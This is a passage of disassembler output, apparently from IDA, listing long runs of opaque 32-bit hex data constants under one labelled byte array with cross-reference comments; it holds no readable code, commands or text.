		dd 86B60BC6h, 0FCBE032Eh, 970069ACh, 930DADDCh,	0B5570EB9h
		dd 8886B842h, 0C2002086h, 0B452DEB1h, 378D7A8h,	0D69C6BE7h
		dd 0B8AAEFE6h, 0DF4E5DC0h, 962B9F00h, 0DD81E3A6h, 43CB827h
		dd 4FD8BD2Eh, 851881F0h, 0FBDADC1Ah, 91583A1Ch,	30B3208Ch
		dd 44C601F0h, 80D01C2Fh, 3420811Eh, 0CF196891h,	0D311204Fh
		dd 56429CACh, 489B5FB2h, 9B07D40h, 271A89DFh, 92720003h
		dd 806A0825h, 0DF4873DCh
		dd 561B04A0h, 0C17CEE80h, 0C0AF29D8h, 0DD148DCDh, 82EC2C44h
		dd 4015D065h, 1A322164h, 8590219h, 4E00BCD2h, 0C7B5152Dh
		dd 0E67D4967h, 0F94F142Ch, 0D788BC74h, 41DC8BC0h, 0A7B3210Dh
		dd 877C88h, 8BC7C55Eh, 0BF00F9CAh, 0A7B8510h, 712B9E1Bh
		dd 0F2F8C102h, 853098DAh, 235405A1h, 8F66C404h,	8099DA42h
		dd 7B780050h, 2684552h,	0DC4A15D1h, 4F1C1C49h, 98E152Ah
		dd 819583EEh, 77A58830h, 24D77179h, 8D2ABh, 0E6D52027h
		dd 0B341166Fh, 0C69BD320h, 71F82CC9h, 0BE22CD00h, 0D6D02574h
		dd 0D47C3DE7h, 0EA90DA00h, 395A5C71h, 0F65B212h, 0A963980Dh
		dd 302C9C02h, 0AE08DC28h, 62B98B0Dh, 5F008689h,	1260DC8Ah
		dd 5FEF9FD4h, 9711D1Ch,	0CC10A3B5h, 5A00BD2Bh, 635C5FD4h
		dd 0C959CB87h, 0B0E00408h, 5A09648Bh, 451A8D9h,	0D6604604h
		dd 0DC234715h, 21EC18D1h, 15012CE0h, 0D3D85C2h,	1989812Dh
		dd 0FF80E3D7h, 130C5C1Ah, 68C68A07h, 58C05D52h,	0FC07A2h
		dd 1EE78D54h, 9A3C5C01h, 902A34E0h, 440E5CA5h, 915FD35Ah
		dd 96800188h, 4A0B5ACFh, 0A0420086h, 0C40E5684h, 354818C3h
		dd 1CE2390h, 1ADDDF44h,	8B691847h, 1EDF7CD8h, 0C4D77A00h
		dd 0AB80CC08h, 0B0D0DB82h, 7E1BA5C0h, 0A14CA330h, 0E53BB56Ch
		dd 0C85B6C35h, 0DAF58C0h, 0ED04B342h, 0C4379775h, 332DA092h
		dd 0D43DCB8h, 0E186B8E4h, 0DEB77410h, 0D20B6374h, 8C3D19h
		dd 2E12D1C6h, 0ED5D0272h, 0BE612CC9h, 22B74CC9h, 8701F134h
		dd 1C773C0Ch, 8D78FF00h, 0CBC1D742h, 88B8A02Fh,	32010083h
		dd 16C7052Bh, 9926EEAEh, 21740442h, 26808689h, 64130F45h
		dd 99C90CF5h, 80401E3Eh, 0D00D499h, 0D9F3BDBCh,	0E7340051h
		dd 0D1815389h, 0F5001F4Ch, 7A5E10BEh, 0A1EB50BDh, 0C918B3CCh
		dd 1A2EDF08h, 5616C2AFh, 0DF415800h, 0A4FB173Eh, 20B50097h
		dd 7675FFCBh, 708E2D24h, 0AC424780h, 33864546h,	9FE11480h
		dd 90D3D5B0h, 0D8391800h, 7759EBD7h, 398469DCh,	80514C0Eh
		dd 0DCBC15D3h, 0F1698C59h, 15620021h, 55F85B0h,	0C472EE7Bh
		dd 2FC112DFh, 0DDEC1070h, 0C24C3CC0h, 9A4D88D2h, 5D85007Ch
		dd 0C1217FF1h, 3CB749C4h, 7A7C6DB8h, 9029D500h,	13C75556h
		dd 3D9805C5h, 8F2DD99h,	0D2C3427Ch, 71DCE915h, 3C80C833h
		dd 6B6515D7h, 0D013A80Fh, 0CE93C004h, 7FBC6A2h,	9AAB07B3h
		dd 3A8F4044h, 0A424C5BCh, 5883CC51h, 0E49CD262h, 3F67AC0h
		dd 79E76788h, 0B444A085h, 0D91524CFh, 23508A99h, 15D50179h
		dd 1829DC46h, 4321C0BFh, 0E5A7152Eh, 9D24FCB0h,	0C9113487h
		dd 98DF6B80h, 3899FF1Ah, 0DF435EC0h, 0E9E30CEAh, 55901B4h
		dd 1AD7400Bh, 28081182h, 0DC052418h, 0A76B0DCAh, 0C30060CBh
		dd 5426DEB6h, 95758304h, 0BE46D00Ch, 3E9B218Dh,	3C80FF91h
		dd 4AF61766h, 0D80519C6h, 4B9A3B32h, 8C7F208Ch,	0D2115AFAh
		dd 788AC5Fh, 5AB29580h,	0AD35C43h, 2B96FAECh, 4467424h
		dd 51BBEE02h, 94A042FCh, 4E06F4D0h, 7468EF00h, 2167CAACh
		dd 55DC01A8h, 7F6B932Ch, 3CE1AC92h, 0F4C801DEh,	0BD1367C6h
		dd 0F3D0228Dh, 3130CCCBh, 297026E1h, 0D67FC775h, 0D5131402h
		dd 0E1F00592h, 31821E5Ch, 22FC08F4h, 0D400CC44h, 46C4079h
		dd 0EC1C8D1h, 655F2707h, 0F18C3182h, 0C7F0D09Ch, 951CBD00h
		dd 0C45C7F50h, 0F38F073Ah, 70FCB542h, 0AE0CFD8h, 216DA500h
		dd 199BB71h, 191E03ABh,	0C07E36E6h, 1CE1500Eh, 88BA2098h
		dd 292DA33h, 4B9D1137h,	0E0F54046h, 0B18583h, 21C39719h
		dd 7A59D163h, 6872E500h, 43AF6DDh, 0EA300060h, 0D5380820h
		dd 0A97A2EF8h, 214FF400h, 9063B4FFh, 0C5760096h, 7A5BFDB9h
		dd 7E005C05h, 0BF9719Fh, 1C876975h, 40D68EB2h, 0BA4ECBAFh
		dd 3300FB18h, 972E9C5h,	0D7ECFh, 76FC781Ch, 0D9990A83h
		dd 40131FAh, 2652D071h,	9AD4EE88h, 537EA7h, 10435CF6h
		dd 2C61C5Bh, 50007EFAh,	0E5133425h, 3D219A7Dh, 6501AE6Fh
		dd 63DF9CB4h, 0CCE68082h, 0C09360B0h, 0C557073Ch, 0AF970264h
		dd 42435960h, 600086Eh,	29DE1D68h, 3D070A1h, 4E3D1ECAh
		dd 7DB8585Bh, 0D9004BA0h, 0AEE2D7CBh, 51AB6Eh, 0C33B0BE9h
		dd 0FD914AD4h, 57F41798h, 0C8006275h, 0C1AE4FDDh, 860E04h
		dd 692D2B8Ch, 0BD8F9AB9h, 2F93830Eh, 13F43D3h, 3165F863h
		dd 66D60057h, 0B75233DDh, 0DB003E1Ah, 5E156710h, 0EC9FF82Bh
		dd 0CF7916h, 423DFF1Bh,	46F2B7C9h, 4B611006h, 40C123h
		dd 64311F35h, 146ECF77h, 3CEFE300h, 0ABA913F1h,	0ADA40091h
		dd 6547292Dh, 0C0004AA5h, 75E74F03h, 1F371Ah, 0CFF35EC4h
		dd 1CBC3B70h, 2BA4C801h, 0AE43FB9Eh, 1773D60h, 657DBBFDh
		dd 87C309CDh, 9045A840h, 0C8C80663h, 41A53Eh, 98454A0h
		dd 0DFAF5746h, 73161207h, 2660FCF4h, 710F86F2h,	0FD9E1FFEh
		dd 16D82776h, 3FC7C200h, 0E85A485Dh, 0F02300AEh, 0F8B071E7h
		dd 351270ECh, 0E3033DE1h, 0A114A459h, 2080E990h, 2C721699h
		dd 390F6B25h, 604B7AF5h, 0DE209A58h, 48D86744h,	77CF933Fh
		dd 0F86780EFh, 8230C1A9h, 86421070h, 0C2C80718h, 0B07237C0h
		dd 0D42FE0CEh, 0ADAB707h, 80CEB0A8h, 0F51DC751h, 44E200E7h
		dd 0B3A8D73h, 7100E30Fh, 8219918Ch, 30B13422h, 0B678BB5Ch
		dd 2D01FE3Dh, 0BA7DBD96h, 30801907h, 91A82B5Ch,	6C3035B0h
		dd 0F3D82080h, 237E29C4h, 11E4E220h, 31D9830h, 0D60B2057h
		dd 0BCF3E1D8h, 0A790F11Dh, 40C47E80h, 63302BC5h, 0D96708B5h
		dd 5EFA2001h, 0E621A8BCh, 792312C4h, 41D56034h,	0F3EE3D06h
		dd 62045C00h, 48C6B31Eh, 77980073h, 0B593D23Ch,	9A74E9B1h
		dd 0F57E3407h, 2180B44Fh, 1E089551h, 82A015h, 653DDC64h
		dd 0AE2A6040h, 0E451B809h, 4A8A1DCh, 656F077h, 7F149F4Ch
		dd 4F9C9800h, 8735C1BDh, 3FF40072h, 0E3185773h,	54039956h
		dd 0B4D85C64h, 39292112h, 90591F08h, 813846Dh, 887E905Ch
		dd 0A7B18858h, 0B8BFD088h, 565111C2h, 3608C521h, 8405909Bh
		dd 2948C0A5h, 922B944h,	88C26710h, 5488A67Dh, 8D484079h
		dd 8E664A0h, 88AD8188h,	29C87368h, 8B768051h, 0D997A0DDh
		dd 0E349D300h, 8F0F0425h, 44AE0037h, 8BE13C8Dh,	200A36Fh
		dd 0D26349B9h, 397B71B1h, 0BF80FFFDh, 0CEA47022h, 24759A8Eh
		dd 7C3DD276h, 3DED0026h, 5EEBAD33h, 0F82D00E3h,	97E5F82h
		dd 0DE00AC3Bh, 20CB558Fh, 0C0DAC8h, 6FE130D5h, 0B8104796h
		dd 0BECFA300h, 97EC28D9h, 67D79h, 0D860A4C4h, 0F890D7A9h
		dd 0FBC69500h, 5254DA7h, 33910157h, 0D85632EDh,	4AD1C48Ah
		dd 7D6B8000h, 118EC501h, 0AE1958DEh, 0FC83663Fh, 0B175BB56h
		dd 0DDEA90C8h, 78E47C0Eh, 781A0E7h, 7430F285h, 9C0A00BAh
		dd 0A35E9BD1h, 350F4EE1h, 0A0E7E814h, 62C1321Bh, 48FB4991h
		dd 0D289B53Bh, 98802069h, 42A268CEh, 0D8EE6B3Ch, 0E58F0EB1h
		dd 0C5C90056h, 0AC27C4h, 8EB8249Ch, 9FEB0235h, 0E3693C00h
		dd 2818DB0Ch, 7CBD00A4h, 8B3AFE34h, 0C803D9F9h,	0C1EEB3CAh
		dd 9D59F8B6h, 84504974h, 5C63F000h, 0F54A4149h,	0AB0E0673h
		dd 0E0A94E87h, 4D712DD1h, 40430026h, 0FA31ED05h, 6C07E670h
		dd 1AC8EC5Dh, 0F18EA033h, 0A880B006h, 9C2D1446h, 3200519Eh
		dd 0E70155DBh, 0B93A179h, 8C3457DFh, 60B70FF5h,	8E4759C8h
		dd 19E0147Ah, 1000CAA6h, 17D67568h, 0DF005F28h,	770F82BFh
		dd 1F4CD7CDh, 0DFBCD23Eh
		dd 0C2A87Ch, 0F28B4DEh,	3974C0D3h, 9A887F00h, 0ADB91DCAh
		dd 7D3B0015h, 996BF4F8h, 0ED008E65h, 790BB7F2h,	768A72h
		dd 3486903Eh, 0CB24BC2Dh, 9E9AFE02h, 0C9F2C611h, 0F4C08988h
		dd 0CC782414h, 256E0028h, 0A75B80B5h, 125A6B00h, 8A69176Ah
		dd 8243F7Ah, 0B67C00FBh, 8937928Dh, 8579E463h, 45C7FD01h
		dd 91B2A157h, 24C47021h, 7669012h, 422C346Fh, 0B59C10Ch
		dd 4B7020CDh, 2B549F00h, 9CF41979h, 0C75F01F3h,	0B0859B0Fh
		dd 28C0405Ch, 3207D7C3h, 0E436FF67h, 880292E0h,	0E66100D1h
		dd 45373CEh, 0CD007CD7h, 1BAC0E45h, 0DB2CBCh, 0AE5E8E4Fh
		dd 448CC208h, 0A9230700h, 4E031746h, 0C134075Fh, 8098CEA3h
		dd 8D9EAC75h, 82B76900h, 3162DB72h, 6092B5h, 0F0683FE3h
		dd 2ADE9705h, 0C0289849h, 42E958B5h, 7F8D00A1h,	6C5354FAh
		dd 0BC7E350Ah, 9D34B41Ch, 0D37D481h, 8DD0E5C8h,	681A1CD7h
		dd 0AD3940B0h, 599F265Eh, 0D8EAB409h, 8782087h,	3E409Dh
		dd 2F5B7820h, 0AE646C98h, 0CD938600h, 1BBFCC33h, 356524DDh
		dd 3B3C0010h, 0ADB89297h, 2F3FB601h, 0CBFEC38Eh, 1999CED8h
		dd 0BEF0A3C5h, 9D80E345h, 0B348B1B4h, 821D0120h, 7ECFDA2Ah
		dd 122628E4h, 0FFDC9FBBh, 860BE000h, 5C8E5604h,	4200642Ch
		dd 13F5C298h, 0BC00CC74h, 28D045C1h, 1F4EF72Ah,	407BF652h
		dd 0A76D7E82h, 0E735E10h, 26569F00h, 4F78DBC9h,	0CBD400C7h
		dd 0A5D3A9EBh, 2300BFC8h, 6F1302FBh, 45B095h, 3876CBEAh
		dd 0F5120CCh, 0E266731Ch, 521E7F40h, 92C6CDCh, 1671EEBDh
		dd 0AB6C418h, 29538400h, 836F9C9Eh, 95120394h, 0B99E48Ah
		dd 1AD610F8h, 0F9729F00h, 7BE919F8h, 811F07E8h,	87FE2EB3h
		dd 0E04AD009h, 49037F11h, 0A8ACEA72h, 46C90E7h,	0BADD000Ah
		dd 0DA2474D5h, 23E0A1EBh, 63008C90h, 0BD923C9Eh, 0B41F4Eh
		dd 0A99C0CEFh, 0FCD8BA3Dh, 88862300h, 4962FED5h, 3DE7B5Fh
		dd 4467FFAEh, 8C80AB99h, 33F00E24h, 0DD536203h,	0D814492Bh
		dd 0D01565h, 0C0EBA69Fh, 615D0660h, 0D26BED00h,	5C4A6C0Dh
		dd 88F30710h, 0F39E1E08h, 14F857E0h, 8C007AC7h,	5FB4659Fh
		dd 4241F1h, 0E98BCB18h,	130B36D4h, 9A3CDC7Eh, 6BC80029h
		dd 0A5FB8685h, 2F25078Ch, 0E063CE18h, 38A61331h, 44BC100h
		dd 6C5A0EEFh, 3F603CDh,	65603C37h, 12896400h, 7B8BB0ADh
		dd 0F431009Bh, 1D984FAh, 953B5759h, 19CC0A4Ah, 0F50088CFh
		dd 48D863C2h, 3738E8C3h, 502044FEh, 70524AA6h, 0E8109C1Ch
		dd 8C2D20C0h, 305AFEh, 1C038B43h, 0EF169217h, 0B026FF1Fh
		dd 0E093858Eh, 33AF21CAh, 89150035h, 12E18748h,	0C0008DB8h
		dd 1902AB6Ah, 0A19067h,	9E6BF029h, 2370366Fh, 2FCE5C00h
		dd 942B640Fh, 0D8A618ADh, 582E6034h, 14A76A00h,	851B153Dh
		dd 74E30091h, 48AA53AFh, 3970EF40h, 77271D00h, 9C44DA0Fh
		dd 3CC5009Ah, 0EABABBB0h, 0F0F81E34h, 0AD665D00h, 3819F282h
		dd 49781EB7h, 92058386h, 0E3E0296Fh, 0E4244479h, 0E6008AB1h
		dd 7B6D95E5h, 50C102CFh, 94919CBBh, 203FD891h, 5B004E10h
		dd 2ED27D13h, 0E69647h,	140FE2B3h, 738653F0h, 0CF328962h
		dd 0FD8380DEh, 3DEB8520h, 9C80C23Bh, 0E7C02CEDh, 2A0076BEh
		dd 100979F1h, 0BFE8EAh,	6BBC84AAh, 31703A2Bh, 191F9C00h
		dd 0F2EFA639h, 4E230147h, 0F88928E3h, 0B47FC07Ah, 8B5DF903h
		dd 0A81BBB49h, 1253B50h, 0E94DD23Dh, 0CCBF0565h, 767DC7FAh
		dd 11286E00h, 0DA12C4E2h, 0A21700C5h, 785A8190h, 793D5DD5h
		dd 0FEF600ADh, 73435CFBh, 0DD0002Eh, 68DF55B4h,	0E6003385h
		dd 6CCF7D02h, 0A169B0h,	0A7288E9Fh, 0DB5C2EF3h,	0AFB33503h
		db 3Ah
byte_520045	db 0E4h, 33h, 0		; DATA XREF: ___:00438120o
					; ___:00438138o
		dd 471FBA0h, 64A4F268h,	941BED00h, 0FFF3A583h, 0BAFE000Eh
		dd 6A91DF53h, 821402F5h, 37A8945Eh, 0BE2130F8h,	31E83D7Bh
		dd 587FA36h, 81E14F12h,	0F3FC8270h, 3C8FF43h, 0F10093B8h
		dd 9792E457h, 0F86C528Ch, 0DAB50064h, 38AD91C2h, 9C02A57Ch
		dd 0E0720279h, 0FA626065h, 80570083h, 0D227A7A2h, 0AC00542Bh
		dd 6478F4E7h, 3F53322h,	48C24EE9h, 3AF9E641h, 0D2D130DBh
		dd 43ABB200h, 86706375h, 0D9D0EC1h, 10E028CEh, 3C4EBCD9h
		dd 0C147B00h, 0AAF6B667h, 0FD5F0351h, 5969F370h, 0C800A4A3h
		dd 46AC8197h, 52109Fh, 0D63FA0C7h, 7A83AF04h, 0EB2D7900h
		dd 0A9915C32h, 9D42D8Ah, 301D00D4h, 25009F5Ch, 34396451h
		dd 29B703C7h, 91AE56F1h, 0E86BB88h, 540061B0h, 4D696458h
		dd 6C8D84h, 0ACD02CD7h,	0B6D0186h, 551614E2h, 7A00AB68h
		dd 0C24DEFBDh, 0B3022446h, 518005Fh, 0C5966A70h, 86E72C00h
		dd 747C653Ch, 0D2F10030h, 0A321A238h, 0FAFE769Bh, 1D1C0400h
		dd 0CCDD9D47h, 465C00ACh, 7D0B9633h, 12007990h,	460B1F6h
		dd 0EB466BEh, 0B330D051h, 7CB62740h, 1A7D1BE0h,	0F8B9FE00h
		dd 67875F2Ch, 76334829h, 37DF0A00h, 0DCBACC30h,	0A641EB1Fh
		dd 33CA70C0h, 988D14Dh,	0E4A4D8E9h, 953EB402h, 18B0F988h
		dd 4A427891h, 494C1B00h, 0CBA27E01h, 0E81700BDh, 35709D62h
		dd 0E700691Ah, 22A96D0Fh, 381784Fh, 441196DFh, 54D937D8h
		dd 0E642C4EEh, 3235C00h, 0FD736CECh, 7CFC7629h,	5AA8240Bh
		dd 562A00EEh, 9C641CCCh, 0FD985707h, 0C300535Bh, 3681D2h
		dd 8A1B351Dh, 499F767h,	554CED00h, 63201169h, 0EF3D009Ah
		dd 2382D82Fh, 0D601FAEBh, 272A7DCEh, 55C1C7D3h,	56B420h
		dd 512DC659h, 0D92708Bh, 1971CB09h, 0B848808Ah,	762AF7C5h
		dd 7EFA0002h, 8C3A1D67h, 791D5B62h, 59407C4Eh, 0F8BED968h
		dd 30E0029h, 0DE9FAA40h, 3E493FB3h, 0E6EE0064h,	0FC0E1283h
		dd 4D010041h, 0C26235AFh, 471276BFh, 212E536h, 7182B200h
		dd 25FD2B4h, 0ADB5F30Bh, 0C881F257h, 0F8868398h, 60006785h
		dd 0D10CA652h, 0B3C780h, 0AAFAFED6h, 0A52B419Ch, 931CF600h
		dd 0AEBFE723h, 0AB4504CEh, 80725F96h, 279B2853h, 4C8B841Eh
		dd 0A000445Fh, 4F48FBD2h, 7C0400E3h, 2AAEE9C8h,	0E558F618h
		dd 3E6700D2h, 4F54C5D4h, 46A800DEh, 4817881Dh, 8107FA49h
		dd 0BC2663DDh, 78F630B0h, 0B2DE48Bh, 0CA20A187h, 3B470034h
		dd 0E049CD09h, 66CAF4A0h, 0B4006740h, 656BF331h, 483B6Ah
		dd 8458FE8Bh, 0C302EE4Dh, 25060503h, 712F2h, 9EEB1069h
		dd 4639B828h, 0C051D46Fh, 570446Bh, 23E807D1h, 905191DDh
		dd 4072AA74h, 31ED6200h, 5871786Fh, 0C57778Eh, 1833A861h
		dd 20009940h, 0DA4751Eh, 3938DE2Ah, 5A6A9D4h, 0F91F80C0h
		dd 19706D86h, 0F88F4E00h, 82396AAh, 2E40C1E5h, 0E41305D9h
		dd 0D67264F3h, 4A56D0C0h, 76CAAA6Dh, 5A430280h,	0BBE8C2A0h
		dd 1768C0D7h, 75B86Ch, 41DB75FCh, 0A42D085h, 9CA38C00h
		dd 0FD4E8F65h, 787760B3h, 0E6B77E9Ah, 0A9124579h, 57004034h
		dd 28858113h, 0F1911FA2h, 9E9C1Ah, 0E0FB6024h, 0F200D6FEh
		dd 0E93DF72Bh, 5CC5BBh,	279E651Ah, 57CA0954h, 0A5681109h
		dd 0C72481CBh, 20219ACFh, 16FFFCE8h, 6B04BE4h, 0E69D3253h
		dd 4614920Fh, 0CA420013h, 3B8A441Eh, 3C4C5FE9h,	0A83EAB02h
		dd 8080811Fh, 60C655B3h, 0E6F87E74h, 5826C80Fh,	0EE4C205Bh
		dd 188D7DE0h, 0E0051232h, 7A3A69B9h, 4D760003h,	5CA2AB17h
		dd 68EC0A9Eh, 0B4E275h,	0CF33D72Ch, 0DB078B8Dh,	836FA16h
		dd 0CA87A741h, 1DF0EA31h, 7379023Fh, 748C010Dh,	0F0B30843h
		dd 91A49DD0h, 59023B00h, 646140DBh, 1F820E10h, 6220A224h
		dd 875591ADh, 0D7652201h, 0BD31035Ah, 0F39A6DF8h, 30393930h
		dd 92B0D3ACh, 0CE7F0FF2h, 9CE13A00h, 50BDD737h,	63DA0039h
		dd 5F1A0905h, 8C0091B9h, 1CBE436Dh, 0A0D5EE34h,	7DF195CCh
		dd 0E2540392h, 3BC9B7BCh, 0C880CBDAh, 0ED5D6D50h, 0E841BD30h
		dd 163951BCh, 409A9F56h, 0F72D575h, 0DE03CEA4h,	0DB42F4F2h
		dd 95C3C890h, 0EAAC07B1h, 109C36F9h, 0CAF865C7h, 2B95C0Ah
		dd 0B201CC6Bh, 4123E146h, 26D98170h, 9CB83839h,	90B00956h
		dd 73B9C000h, 0A700E285h, 74DFC584h, 0F6D86453h, 48B80230h
		dd 0EC6C3656h, 7D0FD064h, 60632378h, 0FFE4012h,	50C498CDh
		dd 1D92E808h, 4737B61h,	0C76EA19Fh, 0CBC680C4h,	600F3BA6h
		dd 6025B3A9h, 812A8083h, 49EEEECFh, 3E03B009h, 523DB8D5h
		dd 9E5B8980h, 77F5E400h, 0B2D9420Ah, 6076D3h, 6BD75743h
		dd 977D7A08h, 524EB917h, 3DF11807h, 0EE4B80FFh,	304C2998h
		dd 3878C5A0h, 0E7008A94h, 618B5F82h, 1C292633h,	4788EA2Dh
		dd 0E3E37DF0h, 0F9D0DF89h, 811D7012h, 98B06DD2h, 0F6AD3h
		dd 0BB77D56Fh, 8B695CDCh, 0BD20BCB0h, 0DE6B0E32h, 10E79B6Ah
		dd 41CDD721h, 0C8DC4337h, 46001220h, 0B47E8279h, 0EBC3C6h
		dd 91FE233Eh, 298B2F4Ch, 4052100h, 860A9FADh, 0A1B703E9h
		dd 0DAE539EDh, 0D2DBA0D8h, 88B440EDh, 771EEEA7h, 9AC0BB08h
		dd 5DFE5318h, 0E074F2C6h, 517950h, 0A58AA7BDh, 1FBCDC8Ch
		dd 3D734Ch, 0CA6A568Fh,	44E80C4h, 4CF935CDh, 0F8748068h
		dd 520026D4h, 16F36F44h, 0BEDFDA5h, 48FC5AE9h, 3050080h
		dd 64001B0Eh, 0F863A625h, 2C77398Ch, 1C7D5Eh, 0B041DCC6h
		dd 0A800FDF4h, 55EB6DA9h, 0FC1B3911h, 0E0740089h, 2A1E3735h
		dd 1D005BF0h, 0F2F132BCh, 1E6C73Dh, 8DC91B1Ch, 0F0FAAA99h
		dd 20906F08h, 0E428362Ch, 450D0760h, 471C1338h,	0CA20026h
		dd 0B43F278Fh, 7C3D3E07h, 5CB00AB7h, 0A71E60h, 6FBA8ED8h
		dd 0C9AEEA3Bh, 7A7F1A00h, 0D39B407Ch, 2FF0A0AAh, 0F03200D4h
		dd 4DDA88F6h, 0E00383Dh, 12B4CFD1h, 1DB0FD4Ah, 0C0F3BFE6h
		dd 39E588EBh, 6607E172h, 675E782Ah, 7032F500h, 4430FDB4h
		dd 0A78F0098h, 7AC448E8h, 50095B8Dh, 82EFAE10h,	0C061ACA3h
		dd 766C8h, 0A377A92Dh, 0C0443F6Bh, 31E2F401h, 0ABD1CEC2h
		dd 164B20h, 0B2EA2978h,	8639FAB3h, 8473CCB2h, 0F249C500h
		dd 0DB907E1Fh, 0C85A591Ah, 0D170DE00h, 3D61D428h, 9FCF4200h
		dd 44B32E01h, 0D7561D0Bh, 0CDDF006Ah, 33B463E4h, 6C2F5101h
		dd 0D3E53A7Ah, 8CB864h,	0C9D4E929h, 0BF20E204h,	2233730Ch
		dd 12D108BAh, 478E8D95h, 445DE20h, 54F4901Ch, 0D5003078h
		dd 13F5427Dh, 0DAE4C2h,	0FF9834CAh, 21A0852Eh, 491B407h
		dd 6E203063h, 8E1C24h, 0EE7F0FBBh, 0A16F85BEh, 0AF3BC301h
		dd 0DF3689C5h, 0F4F420F1h, 5128010Fh, 0FFAE1F1Bh, 30A0C991h
		dd 0AB127DBDh, 1C005B7Ch, 0D5403DA2h, 0FD31007Eh, 0ADA54688h
		dd 10980A2Ah, 0A74886F2h, 267B000Ch, 5751BAE1h,	0BFEADCh
		dd 465F6992h, 0F9E8FBDEh, 82140E00h, 93FA0902h,	205B01Bh
		dd 60DC5B65h, 8080D2D5h, 62EA96C6h, 0DD36D700h,	7622DB8Dh
		dd 8130004Fh, 0C66E597Fh, 0BD01EF3Bh, 910F78C0h, 743050F0h
		dd 71EA0074h, 6898D845h, 7A00617Bh, 5FAD3688h, 268C1154h
		dd 0BE340976h, 0BBB53302h, 406057E7h, 53007F93h, 1C630395h
		dd 0F1194CDh, 0F94F076Ch, 0E03302C1h, 0AEB047D7h, 80C0C4A0h
		dd 9001AA8h, 0ACBE6F41h, 905929h, 27AA318Ah, 1C891173h
		dd 0FED64900h, 2677521h, 0CB3016F9h, 1D181C8Fh,	1CA9415Dh
		dd 0DC93186Ch, 3C00FEFDh
		dd 86361666h, 18721108h, 0DE6BE6F1h, 0B4002940h, 0D0BD3881h
		dd 0DF0E9Fh, 3B54220Bh,	0C67546BFh, 80F0533Bh, 35EABB12h
		dd 3E649D5Ch, 1880861Eh, 0C594928Ah, 0E1005E1Dh, 0B3C7E42Dh
		dd 2EFBD601h, 3D2840E9h, 93C59083h, 0EF8F4D7Ch,	3A548360h
		dd 73007657h, 0F0D2D491h, 2E8DC5h, 0B543B649h, 0CD486CF2h
		dd 894D3Ch, 8B159B24h, 0B7D8BDh, 0B0D2D171h, 7592E5Eh
		dd 0B8050416h, 0F0009116h, 0F96109C1h, 0B4660E23h, 3800DD7Ah
		dd 0FD725D86h, 9789A8A0h, 4E8B000h, 9E49E983h, 0C42600AFh
		dd 8E7ECD4h, 0AE200368h, 7C6C02F6h, 72042866h, 0F302A360h
		dd 3938D200h, 0A94F4290h, 592D0057h, 4B506DACh,	20007062h
		dd 28CD6B9Bh, 0CB0FE2h,	15A6A74Eh, 0D67871ADh, 0F4D0DD2Ch
		dd 5D177600h, 48C9C639h, 900063A0h, 52C14FCFh, 7B00457Fh
		dd 0BA6734Eh, 0BAC04098h, 194A68h, 95185334h, 0CF014699h
		dd 0EA4BDE8Eh, 3031166Ah, 6B44D442h, 243A80CCh,	1E89468h
		dd 0F6E5122Ch, 8F118029h, 3A4BDBEAh, 0BB7B008Bh, 6EC80B27h
		dd 0A1030567h, 0DE8CF00Fh, 5880EA24h, 0CB1200DCh, 72F79262h
		dd 0DD3EA274h, 55698138h, 0D61D0C25h, 0B1898FCh, 0A1C1B096h
		dd 7417800h, 910C9F52h,	205958E6h, 784800F4h, 8C3A1171h
		dd 86284A36h, 6268C1Eh,	0DF0084B1h, 0CBB623C3h,	0A6FADBh
		dd 5D640D5Ah, 71500F3Dh, 4703E0B2h, 7995EC2Eh, 0AD580185h
		dd 0B1A49F24h, 0AF4F6054h, 27AC235Dh, 0B641CBDh, 13A88D66h
		dd 7C2FE001h, 0B143DCDAh, 0B89210C0h, 1D62E909h, 804AAB95h
		dd 0ADFB4499h, 5800BC3Ah, 65288584h, 2C732346h,	8DC9314h
		dd 0E592B496h, 9A256000h, 0E27ECAB6h, 0E01E4D0Ch, 0B952D00h
		dd 2E35BB67h, 11B98402h, 55DF5DCDh, 0E4ABCCC1h,	0B500C8E7h
		dd 0BB6EFC64h, 0F4AABD58h, 0F4A70093h, 0E53B6CDCh, 0E301E620h
		dd 7D1FC669h, 0C080DB1Ah, 0D8EE4C2Fh, 0CCEF08BFh, 0C8002176h
		dd 41B189EDh, 7490040Fh, 66EC00B3h, 542D4422h, 0C272B0C7h
		dd 38B40B00h, 9DCFA976h, 28E900A0h, 29637492h, 80027C9Eh
		dd 75237165h, 0C85848h,	0F05BAB56h, 0C08C0761h,	0E80EB00Eh
		dd 0AFD00021h, 1B436Eh,	0CD0DFA6Bh, 0DD823449h,	0BF2D6301h
		dd 0AC0138E8h, 1B5E9D0h, 358A30EAh, 3055BC07h, 0C8003CB0h
		dd 0A549329Fh, 8C208Dh,	0C5E85E7h, 0F218777h, 0CFD9E104h
		dd 788F3454h, 0D520E601h, 0D06ED392h, 64967786h, 1E9F8C0Eh
		dd 0F27C0027h, 126E1609h, 87D62D54h, 3CEB0020h,	0BB0FDDC1h
		dd 84C6D75Fh, 74B0D301h, 82F2005Ah, 0CFE434FBh,	0AA78EFB7h
		dd 0A1C43216h, 4DC3B440h, 60BE65EAh, 400B508Ah,	6B09D38Fh
		dd 334B0F6h, 0D0BD0F60h, 7A017F0h, 0B16CECA8h, 80F9D41Ch
		dd 0C1FC251Ah, 2E5CE400h, 6CF667D0h, 46C20AEDh,	9DFC8AB4h
		dd 9EA95F9Bh, 0EC7D20Eh, 3560EAB8h, 0E1242B89h,	232E9E18h
		dd 0C7B2D8Ch, 903E0AEDh, 910EAAA0h, 800C06A4h, 61FCB983h
		dd 18A5322Ch, 984016B0h, 92014017h, 1A6D086Eh, 0AC4082F7h
		dd 9AA4121h, 85CDF654h,	0C6FEBC80h, 4240BAB9h, 0AD030039h
		dd 0BB9C6EFBh, 80E091BDh, 301ECFF0h, 4D12927Dh,	0C58A1C04h
		dd 0E428CCh, 0E1382703h, 0EB4901A0h, 0AD8AA301h, 60E2589Ah
		dd 87C542CDh, 8B9DA0FBh, 61371222h, 0CBF0441Dh,	53DB41EEh
		dd 0BCCC5610h, 91CA18ABh, 6F665806h, 90343F00h,	0E53CEC83h
		dd 3E7B7Ch, 0EF9B7587h,	6B594F44h, 52C75A00h, 0C1E1FF0h
		dd 482A00C1h, 6E4E5333h, 0E3265EEEh, 0FE035A99h, 3F1D9A05h
		dd 19A0C888h, 900FF879h, 22EE4ABFh, 0C09E6E54h,	515FA54Fh
		dd 0A9308F1Ah, 6CE1427h, 1880C49Ah, 254687E8h, 0C5541C4Ch
		dd 10C280D2h, 88646Dh, 0A3057464h, 9AD78CDBh, 0F92D8912h
